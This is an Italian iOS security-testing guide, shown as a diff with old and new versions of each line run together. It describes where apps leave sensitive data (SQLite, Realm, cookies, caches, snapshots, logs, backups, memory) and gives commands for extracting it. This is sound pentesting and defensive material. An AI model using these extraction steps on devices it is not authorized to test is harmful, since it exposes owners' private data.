[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) è un framework per gestire il livello di modello degli oggetti nella tua applicazione. [Core Data può utilizzare SQLite come archivio persistente](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ma il framework stesso non è un database. CoreData non crittografa i suoi dati per impostazione predefinita. Tuttavia, è possibile aggiungere uno strato di crittografia aggiuntivo a CoreData. Consulta il [GitHub Repo](https://github.com/project-imas/encrypted-core-data) per ulteriori dettagli. [`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) è un framework per gestire il livello di modello degli oggetti nella tua applicazione. [Core Data può utilizzare SQLite come archivio persistente](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ma il framework stesso non è un database.\
CoreData non crittografa i suoi dati per impostazione predefinita. Tuttavia, è possibile aggiungere uno strato di crittografia aggiuntivo a CoreData. Consulta il [GitHub Repo](https://github.com/project-imas/encrypted-core-data) per ulteriori dettagli.
È possibile trovare le informazioni di SQLite Core Data di un'applicazione nel percorso `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` È possibile trovare le informazioni di SQLite Core Data di un'applicazione nel percorso `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
**Se riesci ad aprire il SQLite e accedere a informazioni sensibili, allora hai trovato una configurazione errata.** **Se riesci ad aprire il file SQLite e accedere a informazioni sensibili, allora hai trovato una configurazione errata.**
```objectivec ```objectivec
-(void)storeDetails { -(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate); AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
@ -458,7 +459,7 @@ NSLog(@"data stored in core data");
[YapDatabase](https://github.com/yapstudios/YapDatabase) è un archivio chiave/valore costruito sopra SQLite.\ [YapDatabase](https://github.com/yapstudios/YapDatabase) è un archivio chiave/valore costruito sopra SQLite.\
Poiché i database Yap sono database sqlite, è possibile trovarli utilizzando il comando apposito nella sezione precedente. Poiché i database Yap sono database sqlite, è possibile trovarli utilizzando il comando apposito nella sezione precedente.
### Altri database SQLite ### Altri Database SQLite
È comune che le applicazioni creino il proprio database sqlite. Potrebbero **memorizzare** **dati** **sensibili** al loro interno e lasciarli non crittografati. Pertanto, è sempre interessante controllare ogni database all'interno della directory delle applicazioni. Quindi vai alla directory dell'applicazione dove i dati sono salvati (`/private/var/mobile/Containers/Data/Application/{APPID}`) È comune che le applicazioni creino il proprio database sqlite. Potrebbero **memorizzare** **dati** **sensibili** al loro interno e lasciarli non crittografati. Pertanto, è sempre interessante controllare ogni database all'interno della directory delle applicazioni. Quindi vai alla directory dell'applicazione dove i dati sono salvati (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash ```bash
@ -468,15 +469,15 @@ find ./ -name "*.sqlite" -or -name "*.db"
Ai developer è consentito **memorizzare e sincronizzare dati** all'interno di un **database ospitato su cloud NoSQL** tramite il Database in tempo reale di Firebase. Memorizzati in formato JSON, i dati vengono sincronizzati in tempo reale su tutti i client connessi. Ai developer è consentito **memorizzare e sincronizzare dati** all'interno di un **database ospitato su cloud NoSQL** tramite il Database in tempo reale di Firebase. Memorizzati in formato JSON, i dati vengono sincronizzati in tempo reale su tutti i client connessi.
Puoi trovare come verificare i database Firebase configurati in modo errato qui: Puoi scoprire come verificare la presenza di database Firebase configurati in modo errato qui:
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} {% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) [firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
{% endcontent-ref %} {% endcontent-ref %}
### Database di Realm ### Database Realm
[Realm Objective-C](https://realm.io/docs/objc/latest/) e [Realm Swift](https://realm.io/docs/swift/latest/) offrono un'alternativa potente per lo storage dei dati, non fornita da Apple. Per impostazione predefinita, **memorizzano dati non crittografati**, con la crittografia disponibile tramite configurazioni specifiche. [Realm Objective-C](https://realm.io/docs/objc/latest/) e [Realm Swift](https://realm.io/docs/swift/latest/) offrono un'alternativa potente per lo storage dei dati, non fornita da Apple. Per impostazione predefinita, essi **memorizzano dati non crittografati**, con la crittografia disponibile tramite configurazioni specifiche.
I database si trovano in: `/private/var/mobile/Containers/Data/Application/{APPID}`. Per esplorare questi file, è possibile utilizzare comandi come: I database si trovano in: `/private/var/mobile/Containers/Data/Application/{APPID}`. Per esplorare questi file, è possibile utilizzare comandi come:
```bash ```bash
@ -509,7 +510,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
``` ```
### Cookies ### Cookies
iOS memorizza i cookie delle app nella cartella **`Library/Cookies/cookies.binarycookies`** all'interno di ciascuna cartella dell'app. Tuttavia, a volte gli sviluppatori decidono di salvarli nell'**keychain** poiché il suddetto **file dei cookie può essere accessibile nei backup**. iOS memorizza i cookie delle app nella cartella **`Library/Cookies/cookies.binarycookies`** all'interno di ciascuna cartella dell'app. Tuttavia, a volte gli sviluppatori decidono di salvarli nell'**portachiavi** poiché il suddetto **file dei cookie può essere accessibile nei backup**.
Per ispezionare il file dei cookie puoi utilizzare [**questo script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) o utilizzare il comando **`ios cookies get`** di objection.\ Per ispezionare il file dei cookie puoi utilizzare [**questo script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) o utilizzare il comando **`ios cookies get`** di objection.\
**Puoi anche utilizzare objection per** convertire questi file in formato JSON e ispezionare i dati. **Puoi anche utilizzare objection per** convertire questi file in formato JSON e ispezionare i dati.
@ -530,7 +531,7 @@ Per ispezionare il file dei cookie puoi utilizzare [**questo script python**](ht
``` ```
### Cache ### Cache
Di default NSURLSession memorizza i dati, come le **richieste e le risposte HTTP nel database Cache.db**. Questo database può contenere **dati sensibili**, se token, nomi utente o altre informazioni sensibili sono stati memorizzati nella cache. Per trovare le informazioni memorizzate aprire la directory dei dati dell'app (`/var/mobile/Containers/Data/Application/<UUID>`) e andare a `/Library/Caches/<Bundle Identifier>`. Anche la **cache di WebKit viene memorizzata nel file Cache.db**. **Objection** può aprire e interagire con il database con il comando `sqlite connect Cache.db`, poiché si tratta di un **database SQLite normale**. Di default NSURLSession memorizza i dati, come le **richieste e le risposte HTTP nel database Cache.db**. Questo database può contenere **dati sensibili**, se token, nomi utente o altre informazioni sensibili sono stati memorizzati nella cache. Per trovare le informazioni memorizzate aprire la directory dei dati dell'app (`/var/mobile/Containers/Data/Application/<UUID>`) e andare a `/Library/Caches/<Bundle Identifier>`. Anche la **cache di WebKit viene memorizzata nel file Cache.db**. **Objection** può aprire e interagire con il database con il comando `sqlite connect Cache.db`, poiché si tratta di un **normale database SQLite**.
È **consigliabile disabilitare la memorizzazione nella cache di questi dati**, poiché potrebbero contenere informazioni sensibili nella richiesta o nella risposta. Di seguito sono elencati diversi modi per ottenere questo: È **consigliabile disabilitare la memorizzazione nella cache di questi dati**, poiché potrebbero contenere informazioni sensibili nella richiesta o nella risposta. Di seguito sono elencati diversi modi per ottenere questo:
@ -539,18 +540,18 @@ Di default NSURLSession memorizza i dati, come le **richieste e le risposte HTTP
`URLCache.shared.removeAllCachedResponses()` `URLCache.shared.removeAllCachedResponses()`
Questo metodo rimuoverà tutte le richieste e risposte memorizzate dal file Cache.db. Questo metodo rimuoverà tutte le richieste e risposte memorizzate dal file Cache.db.
2. Se non è necessario utilizzare i cookie, sarebbe consigliabile utilizzare semplicemente la proprietà di configurazione [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) di URLSession, che disabiliterà il salvataggio dei cookie e delle cache. 2. Se non è necessario utilizzare i vantaggi dei cookie, sarebbe consigliabile utilizzare la proprietà di configurazione [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) di URLSession, che disabiliterà il salvataggio dei cookie e della cache.
[Documentazione Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): [Documentazione Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
`Un oggetto di configurazione della sessione effimera è simile a una configurazione di sessione predefinita (vedi predefinito), tranne che l'oggetto di sessione corrispondente non memorizza cache, archivi di credenziali o dati correlati alla sessione su disco. Invece, i dati correlati alla sessione sono memorizzati in RAM. L'unica volta in cui una sessione effimera scrive dati su disco è quando gli si dice di scrivere i contenuti di un URL su un file.` `Un oggetto di configurazione della sessione effimera è simile a una configurazione di sessione predefinita (vedi predefinito), tranne che l'oggetto di sessione corrispondente non memorizza cache, archivi di credenziali o dati correlati alla sessione su disco. Invece, i dati correlati alla sessione sono memorizzati in RAM. L'unica volta in cui una sessione effimera scrive dati su disco è quando gli si dice di scrivere i contenuti di un URL su un file.`
3. La cache può essere disabilitata anche impostando la Policy della Cache a [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Ciò disabiliterà la memorizzazione della cache in qualsiasi modo, sia in memoria che su disco. 3. La cache può essere disabilitata anche impostando la Policy della Cache su [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Questo disabiliterà la memorizzazione della cache in qualsiasi modo, sia in memoria che su disco.
### Snapshots ### Snapshots
Ogni volta che si preme il pulsante home, iOS **fa uno snapshot dello schermo corrente** per poter effettuare la transizione all'applicazione in modo più fluido. Tuttavia, se sono presenti **dati sensibili** nello schermo corrente, verranno **salvati** nell'**immagine** (che **persiste** **attraverso** **riavvii**). Questi sono gli snapshot a cui è possibile accedere anche facendo doppio tap sullo schermo home per passare tra le app. Ogni volta che si preme il pulsante home, iOS **fa uno snapshot dello schermo corrente** per poter effettuare la transizione all'applicazione in modo più fluido. Tuttavia, se sono presenti **dati sensibili** nello schermo corrente, verranno **salvati** nell'**immagine** (che **persiste** **attraverso** **riavvii**). Questi sono gli snapshot a cui è possibile accedere anche facendo doppio tap sullo schermo home per passare tra le app.
A meno che l'iPhone non sia jailbroken, l'**attaccante** deve avere **accesso** al **dispositivo** **sbloccato** per vedere queste schermate. Di default, l'ultimo snapshot è memorizzato nella sandbox dell'applicazione nella cartella `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (i computer fidati non possono accedere al filesystem da iOS 7.0). A meno che l'iPhone non sia jailbroken, l'**attaccante** deve avere **accesso** al **dispositivo** **sbloccato** per vedere queste schermate. Di default, l'ultimo snapshot è memorizzato nella sandbox dell'applicazione in `Library/Caches/Snapshots/` o nella cartella `Library/SplashBoard/Snapshots` (i computer fidati non possono accedere al filesystem da iOS 7.0).
Un modo per prevenire questo comportamento indesiderato è quello di mettere uno schermo vuoto o rimuovere i dati sensibili prima di fare lo snapshot utilizzando la funzione `ApplicationDidEnterBackground()`. Un modo per prevenire questo comportamento indesiderato è quello di mettere uno schermo vuoto o rimuovere i dati sensibili prima di fare lo snapshot utilizzando la funzione `ApplicationDidEnterBackground()`.
@ -604,7 +605,7 @@ Per estrarre queste credenziali memorizzate, viene utilizzato il comando `ios ns
## **Tastiere personalizzate e cache della tastiera** ## **Tastiere personalizzate e cache della tastiera**
Con iOS 8.0 in poi, gli utenti possono installare estensioni di tastiera personalizzate, gestibili in **Impostazioni > Generale > Tastiera > Tastiere**. Anche se queste tastiere offrono funzionalità estese, rappresentano un rischio di registrazione dei tasti premuti e di trasmissione dei dati a server esterni, anche se agli utenti viene notificato riguardo alle tastiere che richiedono l'accesso alla rete. Le app possono e dovrebbero limitare l'uso delle tastiere personalizzate per l'inserimento di informazioni sensibili. Con iOS 8.0 in poi, gli utenti possono installare estensioni di tastiera personalizzate, gestibili in **Impostazioni > Generale > Tastiera > Tastiere**. Anche se queste tastiere offrono funzionalità estese, pongono il rischio di registrazione dei tasti premuti e di trasmissione dei dati a server esterni, anche se agli utenti viene notificato riguardo alle tastiere che richiedono l'accesso alla rete. Le app possono, e dovrebbero, limitare l'uso delle tastiere personalizzate per l'inserimento di informazioni sensibili.
**Raccomandazioni di sicurezza:** **Raccomandazioni di sicurezza:**
@ -612,7 +613,7 @@ Con iOS 8.0 in poi, gli utenti possono installare estensioni di tastiera persona
* Prestare attenzione alle funzionalità di autocorrezione e suggerimenti automatici della tastiera predefinita di iOS, che potrebbero memorizzare informazioni sensibili nei file di cache situati in `Library/Keyboard/{locale}-dynamic-text.dat` o `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Questi file di cache dovrebbero essere controllati regolarmente per verificare la presenza di dati sensibili. Si consiglia di ripristinare il dizionario della tastiera tramite **Impostazioni > Generale > Ripristina > Ripristina dizionario tastiera** per eliminare i dati memorizzati nella cache. * Prestare attenzione alle funzionalità di autocorrezione e suggerimenti automatici della tastiera predefinita di iOS, che potrebbero memorizzare informazioni sensibili nei file di cache situati in `Library/Keyboard/{locale}-dynamic-text.dat` o `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Questi file di cache dovrebbero essere controllati regolarmente per verificare la presenza di dati sensibili. Si consiglia di ripristinare il dizionario della tastiera tramite **Impostazioni > Generale > Ripristina > Ripristina dizionario tastiera** per eliminare i dati memorizzati nella cache.
* Intercettare il traffico di rete può rivelare se una tastiera personalizzata sta trasmettendo i tasti premuti in remoto. * Intercettare il traffico di rete può rivelare se una tastiera personalizzata sta trasmettendo i tasti premuti in remoto.
### **Prevenzione della memorizzazione nella cache dei campi di testo** ### **Prevenire la memorizzazione nella cache dei campi di testo**
Il [protocollo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre proprietà per gestire l'autocorrezione e l'inserimento di testo sicuro, essenziali per prevenire la memorizzazione di informazioni sensibili. Ad esempio, è possibile disabilitare l'autocorrezione e abilitare l'inserimento di testo sicuro con: Il [protocollo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre proprietà per gestire l'autocorrezione e l'inserimento di testo sicuro, essenziali per prevenire la memorizzazione di informazioni sensibili. Ad esempio, è possibile disabilitare l'autocorrezione e abilitare l'inserimento di testo sicuro con:
```objectivec ```objectivec
@ -626,17 +627,17 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
``` ```
## **Log** ## **Log**
Il debug del codice coinvolge spesso l'uso del **logging**. C'è un rischio in quanto **i log possono contenere informazioni sensibili**. In precedenza, in iOS 6 e nelle versioni precedenti, i log erano accessibili a tutte le app, creando un rischio di perdita di dati sensibili. **Ora, le applicazioni sono limitate ad accedere solo ai propri log**. Il debug del codice spesso implica l'uso del **logging**. C'è un rischio in quanto **i log possono contenere informazioni sensibili**. In precedenza, in iOS 6 e nelle versioni precedenti, i log erano accessibili a tutte le app, creando un rischio di perdita di dati sensibili. **Ora, le applicazioni sono limitate ad accedere solo ai propri log**.
Nonostante queste restrizioni, un **attaccante con accesso fisico** a un dispositivo sbloccato può comunque sfruttarlo collegando il dispositivo a un computer e **leggendo i log**. È importante notare che i log rimangono sul disco anche dopo la disinstallazione dell'app. Nonostante queste restrizioni, un **attaccante con accesso fisico** a un dispositivo sbloccato può ancora sfruttarlo collegando il dispositivo a un computer e **leggendo i log**. È importante notare che i log rimangono sul disco anche dopo la disinstallazione dell'app.
Per mitigare i rischi, si consiglia di **interagire approfonditamente con l'app**, esplorando tutte le sue funzionalità e input per garantire che non vengano registrate informazioni sensibili per errore. Per mitigare i rischi, si consiglia di **interagire approfonditamente con l'app**, esplorando tutte le sue funzionalità e input per garantire che non vengano registrate informazioni sensibili per errore.
Nel momento in cui si esamina il codice sorgente dell'app per potenziali perdite, cercare sia **istruzioni di logging predefinite** che **personalizzate** utilizzando parole chiave come `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` per le funzioni integrate, e qualsiasi menzione di `Logging` o `Logfile` per implementazioni personalizzate. Nel momento in cui si esamina il codice sorgente dell'app per potenziali fughe, cercare sia **istruzioni di logging predefinite** che **personalizzate** utilizzando parole chiave come `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` per le funzioni integrate, e qualsiasi menzione di `Logging` o `Logfile` per implementazioni personalizzate.
### **Monitoraggio dei Log di Sistema** ### **Monitoraggio dei Log di Sistema**
Le app registrano varie informazioni che possono essere sensibili. Per monitorare questi log, strumenti e comandi come: Le app registrano varie informazioni sensibili. Per monitorare questi log, strumenti e comandi come:
```bash ```bash
idevice_id --list # To find the device ID idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs idevicesyslog -u <id> (| grep <app>) # To capture the device logs
@ -647,24 +648,24 @@ Sono utili. Inoltre, **Xcode** fornisce un modo per raccogliere i log della cons
2. Collega il dispositivo iOS. 2. Collega il dispositivo iOS.
3. Vai su **Finestra** -> **Dispositivi e Simulatori**. 3. Vai su **Finestra** -> **Dispositivi e Simulatori**.
4. Seleziona il tuo dispositivo. 4. Seleziona il tuo dispositivo.
5. Provoca il problema che stai investigando. 5. Attiva il problema che stai investigando.
6. Utilizza il pulsante **Apri Console** per visualizzare i log in una nuova finestra. 6. Usa il pulsante **Apri Console** per visualizzare i log in una nuova finestra.
Per una registrazione più avanzata, connettersi alla shell del dispositivo e utilizzare **socat** può fornire un monitoraggio dei log in tempo reale: Per una registrazione più avanzata, connettersi alla shell del dispositivo e utilizzare **socat** può fornire il monitoraggio dei log in tempo reale:
```bash ```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
``` ```
Seguito da comandi per osservare le attività di log, che possono essere preziosi per diagnosticare problemi o identificare potenziali fughe di dati nei log. Seguito dai comandi per osservare le attività di log, che possono essere preziose per diagnosticare problemi o identificare potenziali fughe di dati nei log.
*** ***
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per creare e **automatizzare flussi di lavoro** con facilità, supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Backup ## Backup
@ -676,11 +677,11 @@ L'inclusione delle **app installate e dei loro dati** nei backup solleva il prob
### Escludere File dai Backup ### Escludere File dai Backup
I file in `Documents/` e `Library/Application Support/` vengono di default inclusi nei backup. Gli sviluppatori possono escludere file o directory specifiche dai backup utilizzando `NSURL setResourceValue:forKey:error:` con la chiave `NSURLIsExcludedFromBackupKey`. Questa pratica è cruciale per proteggere i dati sensibili dall'inclusione nei backup. I file in `Documents/` e `Library/Application Support/` vengono automaticamente inclusi nei backup. Gli sviluppatori possono escludere file o directory specifiche dai backup utilizzando `NSURL setResourceValue:forKey:error:` con la chiave `NSURLIsExcludedFromBackupKey`. Questa pratica è cruciale per proteggere i dati sensibili dall'inclusione nei backup.
### Test per le Vulnerabilità ### Test per le Vulnerabilità
Per valutare la sicurezza del backup di un'app, inizia con la **creazione di un backup** utilizzando Finder, quindi individualo seguendo le indicazioni della [documentazione ufficiale di Apple](https://support.apple.com/en-us/HT204215). Analizza il backup per dati sensibili o configurazioni che potrebbero essere modificate per influenzare il comportamento dell'app. Per valutare la sicurezza del backup di un'app, inizia con la **creazione di un backup** utilizzando Finder, quindi individualo seguendo le indicazioni della [documentazione ufficiale di Apple](https://support.apple.com/en-us/HT204215). Analizza il backup per individuare dati sensibili o configurazioni che potrebbero essere modificate per influenzare il comportamento dell'app.
Le informazioni sensibili possono essere individuate utilizzando strumenti a riga di comando o applicazioni come [iMazing](https://imazing.com). Per i backup criptati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" nella radice del backup. Le informazioni sensibili possono essere individuate utilizzando strumenti a riga di comando o applicazioni come [iMazing](https://imazing.com). Per i backup criptati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" nella radice del backup.
```xml ```xml
@ -695,7 +696,7 @@ Le informazioni sensibili possono essere individuate utilizzando strumenti a rig
... ...
</plist> </plist>
``` ```
Per gestire i backup crittografati, gli script Python disponibili nel [repository GitHub di DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), come **backup\_tool.py** e **backup\_passwd.py**, potrebbero essere utili, sebbene potenzialmente richiedano modifiche per essere compatibili con le ultime versioni di iTunes/Finder. Lo strumento [**iOSbackup**](https://pypi.org/project/iOSbackup/) è un'altra opzione per accedere ai file all'interno dei backup protetti da password. Per gestire i backup crittografati, gli script Python disponibili nel [repository GitHub di DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), come **backup\_tool.py** e **backup\_passwd.py**, potrebbero essere utili, sebbene potenzialmente richiedano modifiche per la compatibilità con le ultime versioni di iTunes/Finder. Lo strumento [**iOSbackup**](https://pypi.org/project/iOSbackup/) è un'altra opzione per accedere ai file all'interno dei backup protetti da password.
### Modifica del Comportamento dell'App ### Modifica del Comportamento dell'App
@ -703,11 +704,11 @@ Un esempio di modifica del comportamento dell'app attraverso modifiche al backup
## Riassunto sul Testing della Memoria per Dati Sensibili ## Riassunto sul Testing della Memoria per Dati Sensibili
Quando si tratta di informazioni sensibili memorizzate nella memoria di un'applicazione, è cruciale limitare il tempo di esposizione di questi dati. Ci sono due approcci principali per investigare il contenuto della memoria: **creare un dump della memoria** e **analizzare la memoria in tempo reale**. Entrambi i metodi presentano sfide, inclusa la possibilità di perdere dati critici durante il processo di dump o di analisi. Quando si tratta di informazioni sensibili memorizzate nella memoria di un'applicazione, è cruciale limitare il tempo di esposizione di questi dati. Ci sono due approcci principali per investigare il contenuto della memoria: **creare un dump della memoria** e **analizzare la memoria in tempo reale**. Entrambi i metodi hanno le loro sfide, inclusa la possibilità di perdere dati critici durante il processo di dump o di analisi.
## **Recupero e Analisi di un Dump della Memoria** ## **Recupero e Analisi di un Dump della Memoria**
Per dispositivi jailbroken e non jailbroken, strumenti come [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) consentono di effettuare il dump della memoria del processo di un'app. Una volta effettuato il dump, per analizzare questi dati sono necessari vari strumenti, a seconda della natura delle informazioni che si sta cercando. Per dispositivi jailbroken e non jailbroken, strumenti come [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) consentono il dump della memoria del processo di un'app. Una volta effettuato il dump, l'analisi di questi dati richiede vari strumenti, a seconda della natura delle informazioni che si sta cercando.
Per estrarre stringhe da un dump di memoria, possono essere utilizzati comandi come `strings` o `rabin2 -zz`: Per estrarre stringhe da un dump di memoria, possono essere utilizzati comandi come `strings` o `rabin2 -zz`:
```bash ```bash
@ -732,17 +733,17 @@ $ r2 frida://usb//<name_of_your_app>
``` ```
## Crittografia Danneggiata ## Crittografia Danneggiata
### Processi di Gestione Chiavi Scadenti ### Processi di Gestione delle Chiavi Scadenti
Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografano con una chiave codificata/prevedibile nel codice. Questo non dovrebbe essere fatto poiché un'operazione di reverse engineering potrebbe consentire agli attaccanti di estrarre le informazioni confidenziali. Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografano con una chiave codificata/prevedibile nel codice. Questo non dovrebbe essere fatto poiché un'operazione di reverse engineering potrebbe consentire agli attaccanti di estrarre le informazioni confidenziali.
### Utilizzo di Algoritmi Insicuri e/o Deprecati ### Utilizzo di Algoritmi Insicuri e/o Deprecati
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire controlli di **autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se vengono utilizzati **hash** per memorizzare ad esempio le password, dovrebbero essere utilizzati hash **resistenti** agli attacchi di forza bruta con salt. Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli** di autorizzazione, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se vengono utilizzati **hash** per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash **resistenti** agli attacchi di forza bruta con salt.
### Controllo ### Controllo
I principali controlli da effettuare sono per individuare se ci sono password/segnreti **codificati** nel codice, o se questi sono **prevedibili**, e se il codice sta utilizzando qualche tipo di algoritmi di **crittografia** **deboli**. I principali controlli da effettuare sono per verificare se è possibile trovare password/segnreti **codificati** nel codice, o se questi sono **prevedibili**, e se il codice sta utilizzando qualche tipo di algoritmi di **crittografia** **deboli**.
È interessante sapere che è possibile **monitorare** automaticamente alcune **librerie di crittografia** utilizzando **objection** con: È interessante sapere che è possibile **monitorare** automaticamente alcune **librerie di crittografia** utilizzando **objection** con:
```swift ```swift
@ -759,7 +760,7 @@ Il [**framework di autenticazione locale di Apple**](https://developer.apple.com
Per integrare il Touch ID/Face ID, gli sviluppatori hanno due scelte di API: Per integrare il Touch ID/Face ID, gli sviluppatori hanno due scelte di API:
* **`LocalAuthentication.framework`** per l'autenticazione dell'utente a livello elevato senza accesso ai dati biometrici. * **`LocalAuthentication.framework`** per l'autenticazione dell'utente a livello elevato senza accesso ai dati biometrici.
* **`Security.framework`** per l'accesso ai servizi del portachiavi a livello inferiore, proteggendo i dati segreti con autenticazione biometrica. Vari [wrapper open-source](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) semplificano l'accesso al portachiavi. * **`Security.framework`** per l'accesso ai servizi di portachiavi a livello inferiore, proteggendo i dati segreti con autenticazione biometrica. Vari [wrapper open-source](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) semplificano l'accesso al portachiavi.
{% hint style="danger" %} {% hint style="danger" %}
Tuttavia, sia `LocalAuthentication.framework` che `Security.framework` presentano vulnerabilità, poiché restituiscono principalmente valori booleani senza trasmettere dati per i processi di autenticazione, rendendoli suscettibili all'aggiramento (fare riferimento a [Don't touch me that way, di David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). Tuttavia, sia `LocalAuthentication.framework` che `Security.framework` presentano vulnerabilità, poiché restituiscono principalmente valori booleani senza trasmettere dati per i processi di autenticazione, rendendoli suscettibili all'aggiramento (fare riferimento a [Don't touch me that way, di David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
@ -769,7 +770,7 @@ Tuttavia, sia `LocalAuthentication.framework` che `Security.framework` presentan
Per richiedere agli utenti l'autenticazione, gli sviluppatori dovrebbero utilizzare il metodo **`evaluatePolicy`** all'interno della classe **`LAContext`**, scegliendo tra: Per richiedere agli utenti l'autenticazione, gli sviluppatori dovrebbero utilizzare il metodo **`evaluatePolicy`** all'interno della classe **`LAContext`**, scegliendo tra:
* **`deviceOwnerAuthentication`**: Richiede il Touch ID o il codice di accesso del dispositivo, fallendo se nessuno dei due è abilitato. * **`deviceOwnerAuthentication`**: Richiede l'ID dell'impronta digitale o il codice di accesso del dispositivo, fallendo se nessuno dei due è abilitato.
* **`deviceOwnerAuthenticationWithBiometrics`**: Richiede esclusivamente il Touch ID. * **`deviceOwnerAuthenticationWithBiometrics`**: Richiede esclusivamente il Touch ID.
Un'autenticazione riuscita è indicata da un valore booleano restituito da **`evaluatePolicy`**, evidenziando una potenziale falla di sicurezza. Un'autenticazione riuscita è indicata da un valore booleano restituito da **`evaluatePolicy`**, evidenziando una potenziale falla di sicurezza.
@ -778,9 +779,9 @@ Un'autenticazione riuscita è indicata da un valore booleano restituito da **`ev
L'implementazione dell'**autenticazione locale** nelle app iOS coinvolge l'uso delle **API del portachiavi** per memorizzare in modo sicuro dati segreti come token di autenticazione. Questo processo garantisce che i dati possano essere accessibili solo dall'utente, utilizzando il codice di accesso del dispositivo o l'autenticazione biometrica come il Touch ID. L'implementazione dell'**autenticazione locale** nelle app iOS coinvolge l'uso delle **API del portachiavi** per memorizzare in modo sicuro dati segreti come token di autenticazione. Questo processo garantisce che i dati possano essere accessibili solo dall'utente, utilizzando il codice di accesso del dispositivo o l'autenticazione biometrica come il Touch ID.
Il portachiavi offre la capacità di impostare elementi con l'attributo `SecAccessControl`, che limita l'accesso all'elemento fino a quando l'utente non si autentica con successo tramite il Touch ID o il codice di accesso del dispositivo. Questa funzionalità è cruciale per migliorare la sicurezza. Il portachiavi offre la capacità di impostare elementi con l'attributo `SecAccessControl`, che limita l'accesso all'elemento fino a quando l'utente autentica con successo tramite il Touch ID o il codice di accesso del dispositivo. Questa funzionalità è cruciale per migliorare la sicurezza.
